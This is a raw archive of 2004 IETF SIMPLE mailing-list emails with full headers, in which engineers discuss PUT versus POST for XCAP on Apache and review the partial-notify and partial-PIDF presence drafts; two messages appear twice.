Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 15 10:54:59 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04990
	for <simple-archive@ietf.org>; Mon, 15 Mar 2004 10:54:59 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2uQe-0002pc-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 10:55:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2uPk-0002hz-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 10:54:04 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2uOk-0002Zw-00; Mon, 15 Mar 2004 10:53:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2uOj-0007Ir-1h; Mon, 15 Mar 2004 10:53:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2uNp-0007Dn-GY
	for simple@optimus.ietf.org; Mon, 15 Mar 2004 10:52:05 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04896
	for <simple@ietf.org>; Mon, 15 Mar 2004 10:52:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2uNn-0002Ru-00
	for simple@ietf.org; Mon, 15 Mar 2004 10:52:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2uMp-0002LW-00
	for simple@ietf.org; Mon, 15 Mar 2004 10:51:04 -0500
Received: from bdsl.66.12.12.130.gte.net ([66.12.12.130] helo=bdsl.greycouncil.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2uM7-00029I-00
	for simple@ietf.org; Mon, 15 Mar 2004 10:50:19 -0500
Received: from softarmor.com (206-176-144-210.waymark.net [206.176.144.210] (may be forged))
	(authenticated bits=0)
	by bdsl.greycouncil.com (8.12.8/8.12.8) with ESMTP id i2FFpFZg005037
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 15 Mar 2004 09:51:16 -0600
Message-ID: <4055D08C.5040900@softarmor.com>
From: Dean Willis <dean.willis@softarmor.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>, simple@ietf.org
Subject: Re: [Simple] PUT vs POST in XCAP
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com> <404711F8.9080807@softarmor.com> <404D7E68.8090304@dynamicsoft.com>
In-Reply-To: <404D7E68.8090304@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 15 Mar 2004 09:49:32 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Jonathan Rosenberg wrote:

> That said, assuming Dean's assessment of apache operation is correct 
> (can someone verify that PUT works this way? I always thought one could 
> write a servlet that handles PUT...), this would pose a problem. A key 
> goal of XCAP is that it was easily built on existing servers and 
> existing wireless clients. If people know of reasons why this goal has 
> not been met, we should explore that.

One can indeed write modules that intercerpt PUT operations. There seem 
to be limitations -- for example, much of the literature asserts that 
people have difficulty making mod-perl handle PUT, and that implementers 
have had to fall back to much-less-efficient external CGI invocations.

The other problem is that if other modules that handle PUT (such as 
mod-dav, the DAV module) are active in the same pseudoroot there is no 
mechanism of which I am aware to specify which module handles the PUT 
request.

POST is much more specific -- it indicates not only which module, but 
(through the URL) which server-side program is to handle the data.

--
dean


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 15 10:55:31 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA05050
	for <simple-archive@odin.ietf.org>; Mon, 15 Mar 2004 10:55:31 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2uQi-0007Uk-Kc
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 10:55:05 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2FFt41p028788
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 10:55:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2uQi-0007U9-7n
	for simple-web-archive@optimus.ietf.org; Mon, 15 Mar 2004 10:55:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA05000
	for <simple-web-archive@ietf.org>; Mon, 15 Mar 2004 10:54:59 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2uQf-0002pi-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 10:55:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2uPk-0002i6-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 10:54:05 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2uOk-0002Zw-00; Mon, 15 Mar 2004 10:53:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2uOj-0007Ir-1h; Mon, 15 Mar 2004 10:53:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2uNp-0007Dn-GY
	for simple@optimus.ietf.org; Mon, 15 Mar 2004 10:52:05 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04896
	for <simple@ietf.org>; Mon, 15 Mar 2004 10:52:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2uNn-0002Ru-00
	for simple@ietf.org; Mon, 15 Mar 2004 10:52:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2uMp-0002LW-00
	for simple@ietf.org; Mon, 15 Mar 2004 10:51:04 -0500
Received: from bdsl.66.12.12.130.gte.net ([66.12.12.130] helo=bdsl.greycouncil.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2uM7-00029I-00
	for simple@ietf.org; Mon, 15 Mar 2004 10:50:19 -0500
Received: from softarmor.com (206-176-144-210.waymark.net [206.176.144.210] (may be forged))
	(authenticated bits=0)
	by bdsl.greycouncil.com (8.12.8/8.12.8) with ESMTP id i2FFpFZg005037
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 15 Mar 2004 09:51:16 -0600
Message-ID: <4055D08C.5040900@softarmor.com>
From: Dean Willis <dean.willis@softarmor.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>, simple@ietf.org
Subject: Re: [Simple] PUT vs POST in XCAP
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com> <404711F8.9080807@softarmor.com> <404D7E68.8090304@dynamicsoft.com>
In-Reply-To: <404D7E68.8090304@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 15 Mar 2004 09:49:32 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Jonathan Rosenberg wrote:

> That said, assuming Dean's assessment of apache operation is correct 
> (can someone verify that PUT works this way? I always thought one could 
> write a servlet that handles PUT...), this would pose a problem. A key 
> goal of XCAP is that it was easily built on existing servers and 
> existing wireless clients. If people know of reasons why this goal has 
> not been met, we should explore that.

One can indeed write modules that intercerpt PUT operations. There seem 
to be limitations -- for example, much of the literature asserts that 
people have difficulty making mod-perl handle PUT, and that implementers 
have had to fall back to much-less-efficient external CGI invocations.

The other problem is that if other modules that handle PUT (such as 
mod-dav, the DAV module) are active in the same pseudoroot there is no 
mechanism of which I am aware to specify which module handles the PUT 
request.

POST is much more specific -- it indicates not only which module, but 
(through the URL) which server-side program is to handle the data.

--
dean


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 15 12:49:54 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12671
	for <simple-archive@ietf.org>; Mon, 15 Mar 2004 12:49:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2wDs-0000r0-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 12:49:56 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2wCw-0000oV-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 12:48:58 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2wC1-0000mW-00; Mon, 15 Mar 2004 12:48:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2wC1-0001qX-Ny; Mon, 15 Mar 2004 12:48:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2wBw-0001pP-Im
	for simple@optimus.ietf.org; Mon, 15 Mar 2004 12:47:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12600
	for <simple@ietf.org>; Mon, 15 Mar 2004 12:47:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2wBu-0000lP-00
	for simple@ietf.org; Mon, 15 Mar 2004 12:47:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2wAy-0000jS-00
	for simple@ietf.org; Mon, 15 Mar 2004 12:46:57 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2wA6-0000hK-00
	for simple@ietf.org; Mon, 15 Mar 2004 12:46:03 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i2FHjjIw085931;
	Mon, 15 Mar 2004 11:45:56 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <4055EAD5.7050707@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: mikko.lonnfors@nokia.com, jose.costa-requena@nokia.com,
        eva-maria.leppanen@nokia.com,
        Hisham Khartabil <hisham.khartabil@nokia.com>
CC: Simple WG <simple@ietf.org>
References: <2038BCC78B1AD641891A0D1AE133DBB701797762@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB701797762@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Belated wglc comments on partial notify
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 15 Mar 2004 11:41:41 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Sorry for the belated comments.

First, a couple of general comments. I vaguely recall discussing these 
before, so apologies if the are already resolved.
This entire concept depends on the idea that tuple ids will be 
consistent between one notify and another. I'm not sure if we can count 
on that. Is that a normative requirement anywhere in the presence of 
pidf specs? If not, then there is really no way to say that two tuples 
in two different docs are the "same" tuple.  If this is not required 
elsewhere, then we must make it a requirement to support partial.

Why use partial format for full state notifies rather than the basic 
pidf format? Doing that allows you to do things like put <removed> 
elements in an initial notify. Do we want to allow that? If so, we need 
text to say what it means. If we were to use the basic format for full 
state, then the whole state attribute would no longer be needed.


And a few nits and small issues:

partial-notify:

4.1: Add another citation to the format document.

4.4 Paragraph 1 is redundant with 4.3, and not quite consistent with it.

4.4 Inconsistent use of PS and notifier.

Recovering from a missed notify depends on the notifier always sending 
full state after a subscription refresh. Where is this behavior 
mandated? 4.4 says you have to do this on the first notify, but does not 
mention refreshes.

You say that if a watcher gets an old version number, it SHOULD refresh 
or terminate. What else could it safely do? Is SHOULD strong enough?

Examples: Use real content-lengths, or something that clearly indicates 
you would replace the content-length with something real. I fully expect 
to see an implementation include "Content-Length: .."

partial-pdif-format:

Section 1, p2 "in <tuple> level" --> "at the <tuple> level"

Section 3: I think there is  lot more to implementing partial than 
defining a new mime type. I think you want to say that implementing 
partial _requires_ defining a new mime type. (It's a sufficient 
condition vs necessary condition distinction.)

Section 4, second bullet: MUST strength may be a little strong here, as 
it does not damage to include an unchanged tuple; it is merely less 
efficient. Further, a watcher definitely should not be in the business 
of rejecting a notify because it contained an unchanged tuple.

5.1: security considerations: Can we get away with just requiring 
appropriate precautions? Better to reference the security consideration 
section, which may then say the issues are identical to those for PDIF.


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 15 12:50:26 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12710
	for <simple-archive@odin.ietf.org>; Mon, 15 Mar 2004 12:50:26 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2wDu-000220-Tl
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 12:49:59 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2FHnw7v007804
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 12:49:58 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2wDu-00021n-PT
	for simple-web-archive@optimus.ietf.org; Mon, 15 Mar 2004 12:49:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12683
	for <simple-web-archive@ietf.org>; Mon, 15 Mar 2004 12:49:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2wDt-0000r5-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 12:49:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2wCw-0000oc-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 12:48:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2wC1-0000mW-00; Mon, 15 Mar 2004 12:48:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2wC1-0001qX-Ny; Mon, 15 Mar 2004 12:48:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2wBw-0001pP-Im
	for simple@optimus.ietf.org; Mon, 15 Mar 2004 12:47:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12600
	for <simple@ietf.org>; Mon, 15 Mar 2004 12:47:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2wBu-0000lP-00
	for simple@ietf.org; Mon, 15 Mar 2004 12:47:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2wAy-0000jS-00
	for simple@ietf.org; Mon, 15 Mar 2004 12:46:57 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2wA6-0000hK-00
	for simple@ietf.org; Mon, 15 Mar 2004 12:46:03 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i2FHjjIw085931;
	Mon, 15 Mar 2004 11:45:56 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <4055EAD5.7050707@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: mikko.lonnfors@nokia.com, jose.costa-requena@nokia.com,
        eva-maria.leppanen@nokia.com,
        Hisham Khartabil <hisham.khartabil@nokia.com>
CC: Simple WG <simple@ietf.org>
References: <2038BCC78B1AD641891A0D1AE133DBB701797762@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB701797762@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Belated wglc comments on partial notify
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 15 Mar 2004 11:41:41 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Sorry for the belated comments.

First, a couple of general comments. I vaguely recall discussing these 
before, so apologies if the are already resolved.
This entire concept depends on the idea that tuple ids will be 
consistent between one notify and another. I'm not sure if we can count 
on that. Is that a normative requirement anywhere in the presence of 
pidf specs? If not, then there is really no way to say that two tuples 
in two different docs are the "same" tuple.  If this is not required 
elsewhere, then we must make it a requirement to support partial.

Why use partial format for full state notifies rather than the basic 
pidf format? Doing that allows you to do things like put <removed> 
elements in an initial notify. Do we want to allow that? If so, we need 
text to say what it means. If we were to use the basic format for full 
state, then the whole state attribute would no longer be needed.


And a few nits and small issues:

partial-notify:

4.1: Add another citation to the format document.

4.4 Paragraph 1 is redundant with 4.3, and not quite consistent with it.

4.4 Inconsistent use of PS and notifier.

Recovering from a missed notify depends on the notifier always sending 
full state after a subscription refresh. Where is this behavior 
mandated? 4.4 says you have to do this on the first notify, but does not 
mention refreshes.

You say that if a watcher gets an old version number, it SHOULD refresh 
or terminate. What else could it safely do? Is SHOULD strong enough?

Examples: Use real content-lengths, or something that clearly indicates 
you would replace the content-length with something real. I fully expect 
to see an implementation include "Content-Length: .."

partial-pdif-format:

Section 1, p2 "in <tuple> level" --> "at the <tuple> level"

Section 3: I think there is  lot more to implementing partial than 
defining a new mime type. I think you want to say that implementing 
partial _requires_ defining a new mime type. (It's a sufficient 
condition vs necessary condition distinction.)

Section 4, second bullet: MUST strength may be a little strong here, as 
it does not damage to include an unchanged tuple; it is merely less 
efficient. Further, a watcher definitely should not be in the business 
of rejecting a notify because it contained an unchanged tuple.

5.1: security considerations: Can we get away with just requiring 
appropriate precautions? Better to reference the security consideration 
section, which may then say the issues are identical to those for PDIF.


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 15 14:14:22 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17305
	for <simple-archive@ietf.org>; Mon, 15 Mar 2004 14:14:22 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2xXb-0005VL-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 14:14:23 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2xWS-0005LC-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 14:13:13 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2xVL-0005AI-00; Mon, 15 Mar 2004 14:12:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2xVI-0002gt-Su; Mon, 15 Mar 2004 14:12:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2xVH-0002ge-Pt
	for simple@optimus.ietf.org; Mon, 15 Mar 2004 14:11:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16970
	for <simple@ietf.org>; Mon, 15 Mar 2004 14:11:56 -0500 (EST)
From: mikko.lonnfors@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2xVF-00059J-00
	for simple@ietf.org; Mon, 15 Mar 2004 14:11:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2xUH-000516-00
	for simple@ietf.org; Mon, 15 Mar 2004 14:10:58 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2xTK-0004uP-00
	for simple@ietf.org; Mon, 15 Mar 2004 14:09:58 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2FJ9n420176;
	Mon, 15 Mar 2004 21:09:49 +0200 (EET)
X-Scanned: Mon, 15 Mar 2004 21:09:29 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i2FJ9TFC011410;
	Mon, 15 Mar 2004 21:09:29 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00b5c9ki; Mon, 15 Mar 2004 21:09:28 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2FJ9R100948;
	Mon, 15 Mar 2004 21:09:27 +0200 (EET)
Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 15 Mar 2004 21:09:27 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEF01C1DDD0@esebe004.ntc.nokia.com>
Thread-Topic: Belated wglc comments on partial notify
thread-index: AcQKtYf3fx1A+oLoR6WlCfe3ysNOgwABMjMA
To: <bcampbell@dynamicsoft.com>, <Jose.Costa-Requena@nokia.com>,
        <eva-maria.leppanen@nokia.com>, <hisham.khartabil@nokia.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 15 Mar 2004 19:09:27.0494 (UTC) FILETIME=[0957EE60:01C40AC1]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] RE: Belated wglc comments on partial notify
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 15 Mar 2004 21:09:27 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

>=20
> Sorry for the belated comments.

Thanks for comments in any case. They came just in time

> First, a couple of general comments. I vaguely recall
> discussing these=20
> before, so apologies if the are already resolved.
> This entire concept depends on the idea that tuple ids will be=20
> consistent between one notify and another. I'm not sure if we=20
> can count=20
> on that. Is that a normative requirement anywhere in the presence of=20
> pidf specs? If not, then there is really no way to say that=20
> two tuples=20
> in two different docs are the "same" tuple.  If this is not required=20
> elsewhere, then we must make it a requirement to support partial.

Yes, the mechanism requires that notifier keeps same tuple id for
identical tuples. PIDF says: "The <tuple> element MUST contain an 'id'
attribute which is used to
   distinguish this tuple from other tuples in the same PRESENTITY.  The
   value of an 'id' attribute MUST be unique within 'id' attribute
   values of other tuples for the same PRESENTITY.  An 'id' value is
   used by applications processing the presence document to identify the
   corresponding tuple in the previously acquired PRESENCE INFORMATION
   of the same PRESENTITY.  The value of the 'id' attribute is an
   arbitrary string, and has no significance beyond providing a means to
distinguish <tuple> values, as noted above."

I would read text above to mean that tuple ids must be consistent. If
text above does not mean that then this needs to be added to partial
notify drafts. I think that in any case this could be made clearer in
partial notify drafts.

> Why use partial format for full state notifies rather than the basic
> pidf format? Doing that allows you to do things like put <removed>=20
> elements in an initial notify. Do we want to allow that? If=20
> so, we need=20
> text to say what it means. If we were to use the basic format=20
> for full=20
> state, then the whole state attribute would no longer be needed.

